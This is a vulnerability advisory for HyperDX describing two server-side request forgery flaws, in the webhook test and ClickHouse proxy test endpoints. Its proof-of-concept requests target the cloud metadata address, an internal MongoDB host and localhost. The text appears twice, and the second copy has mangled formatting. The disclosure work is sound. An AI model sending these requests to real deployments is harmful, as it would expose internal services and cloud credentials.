reported 1 June 2026 - https://github.com/hyperdxio/hyperdx/security/advisories/GHSA-fgcx-qxjr-wx26 - no response.
Summary
Two authenticated endpoints make server-side HTTP requests to URLs supplied entirely by the caller, with no URL allowlist or internal-network block. Any team member can probe or interact with services on the internal network (including Docker containers, cloud metadata endpoints, and other internal APIs) by setting the target URL to an internal address. The ClickHouse proxy test endpoint additionally reflects the HTTP response body from the internal target back to the caller in error messages, enabling blind-to-reflected SSRF.
Details
Finding A -- Webhook test endpoint (packages/api/src/routers/api/webhooks.ts, line 365-455)
POST /webhooks/test creates a temporary webhook object and calls handleSendGenericWebhook or handleSendSlackWebhook. The handleSendGenericWebhook function at packages/api/src/tasks/checkAlerts/template.ts (line 282-360) calls fetch(url, ...) with the caller-supplied URL.
The only protection is a hostname blacklist (blacklistedWebhookHosts) that blocks the configured CLICKHOUSE_HOST and MONGO_URI hostnames (line 203-212). This does not block:
- IP addresses of those services
- Other internal services (metadata endpoints, other containers, localhost)
- Cloud provider metadata endpoints (169.254.169.254, fd00:ec2::254)
Slack webhooks are validated against a hostname suffix check (.slack.com). Generic and IncidentIO webhooks pass through with only the blacklist check.
Finding B -- ClickHouse proxy test endpoint (packages/api/src/routers/api/clickhouseProxy.ts, line 75-122)
POST /clickhouse-proxy/test accepts host, username, and password and calls:
const result = await fetch(`${host}/?query=SELECT 1`, {
headers: {
'X-ClickHouse-User': username || '',
'X-ClickHouse-Key': password || '',
},
signal: AbortSignal.timeout(2000),
});
No URL validation is performed. The host can be any URL. When the response is not valid JSON, the server returns an error that includes the first ~100 characters of the response body:
"Unexpected token 'X', \"<response body prefix>\"... is not valid JSON"
This turns a blind SSRF into a reflected SSRF that leaks internal service response content.
PoC
Prerequisites: a valid HyperDX session cookie (any team member).
Finding A -- Webhook SSRF:
Set up a listener, then send:
POST /webhooks/test HTTP/1.1
Host: hyperdx.example.com
Cookie: connect.sid=<session>
Content-Type: application/json
{
"service": "generic",
"url": "http://169.254.169.254/latest/meta-data/",
"body": "{\"alert\": \"{{title}}\"}"
}
Response:
{"message":"Test webhook sent successfully"}
The server made a POST request to the supplied URL. Use incidentio service for the same effect. For internal Docker services, the server's container IP (e.g. 172.19.0.5) is the origin of the request.
Finding B -- ClickHouse proxy SSRF with response body leak:
POST /clickhouse-proxy/test HTTP/1.1
Host: hyperdx.example.com
Cookie: connect.sid=<session>
Content-Type: application/json
{"host": "http://db:27017", "username": "user"}
Response (error leaks MongoDB banner):
{"success":false,"error":"Unexpected token 'I', \"It looks l\"... is not valid JSON, please check the host and credentials and try again."}
The prefix "It looks l" is the start of MongoDB's HTTP error banner ("It looks like you are trying to access MongoDB over HTTP...").
Self-SSRF to probe the API itself:
POST /clickhouse-proxy/test HTTP/1.1
Content-Type: application/json
Cookie: connect.sid=<session>
{"host": "http://127.0.0.1:9425"}
Response leaks internal Express error HTML:
{"success":false,"error":"<!DOCTYPE html>...<pre>Cannot GET /</pre>..."}
Impact
An authenticated team member can enumerate and probe internal network services (other containers, sidecar services, cloud provider metadata endpoints) using these two endpoints. The ClickHouse proxy endpoint additionally leaks partial HTTP response bodies, enabling an attacker to extract meaningful information from internal services that return non-JSON responses. On cloud deployments, the AWS/GCP/Azure instance metadata endpoint (169.254.169.254) is reachable and can expose IAM role credentials, SSH keys, and bootstrap secrets.
reported 1 June 2026 - https://github.com/hyperdxio/hyperdx/security/advisories/GHSA-fgcx-qxjr-wx26 - no response.
Summary
Two authenticated endpoints make server-side HTTP requests to URLs supplied entirely by the caller, with no URL allowlist or internal-network block. Any team member can probe or interact with services on the internal network (including Docker containers, cloud metadata endpoints, and other internal APIs) by setting the target URL to an internal address. The ClickHouse proxy test endpoint additionally reflects the HTTP response body from the internal target back to the caller in error messages, enabling blind-to-reflected SSRF.
Details
Finding A -- Webhook test endpoint (packages/api/src/routers/api/webhooks.ts, line 365-455)
POST /webhooks/testcreates a temporary webhook object and callshandleSendGenericWebhookorhandleSendSlackWebhook. ThehandleSendGenericWebhookfunction atpackages/api/src/tasks/checkAlerts/template.ts(line 282-360) callsfetch(url, ...)with the caller-supplied URL.The only protection is a hostname blacklist (
blacklistedWebhookHosts) that blocks the configuredCLICKHOUSE_HOSTandMONGO_URIhostnames (line 203-212). This does not block:Slack webhooks are validated against a hostname suffix check (
.slack.com). Generic and IncidentIO webhooks pass through with only the blacklist check.Finding B -- ClickHouse proxy test endpoint (packages/api/src/routers/api/clickhouseProxy.ts, line 75-122)
POST /clickhouse-proxy/testacceptshost,username, andpasswordand calls:No URL validation is performed. The host can be any URL. When the response is not valid JSON, the server returns an error that includes the first ~100 characters of the response body:
This turns a blind SSRF into a reflected SSRF that leaks internal service response content.
PoC
Prerequisites: a valid HyperDX session cookie (any team member).
Finding A -- Webhook SSRF:
Set up a listener, then send:
Response:
{"message":"Test webhook sent successfully"}The server made a POST request to the supplied URL. Use
incidentioservice for the same effect. For internal Docker services, the server's container IP (e.g. 172.19.0.5) is the origin of the request.Finding B -- ClickHouse proxy SSRF with response body leak:
Response (error leaks MongoDB banner):
{"success":false,"error":"Unexpected token 'I', \"It looks l\"... is not valid JSON, please check the host and credentials and try again."}The prefix "It looks l" is the start of MongoDB's HTTP error banner ("It looks like you are trying to access MongoDB over HTTP...").
Self-SSRF to probe the API itself:
Response leaks internal Express error HTML:
{"success":false,"error":"<!DOCTYPE html>...<pre>Cannot GET /</pre>..."}Impact
An authenticated team member can enumerate and probe internal network services (other containers, sidecar services, cloud provider metadata endpoints) using these two endpoints. The ClickHouse proxy endpoint additionally leaks partial HTTP response bodies, enabling an attacker to extract meaningful information from internal services that return non-JSON responses. On cloud deployments, the AWS/GCP/Azure instance metadata endpoint (169.254.169.254) is reachable and can expose IAM role credentials, SSH keys, and bootstrap secrets.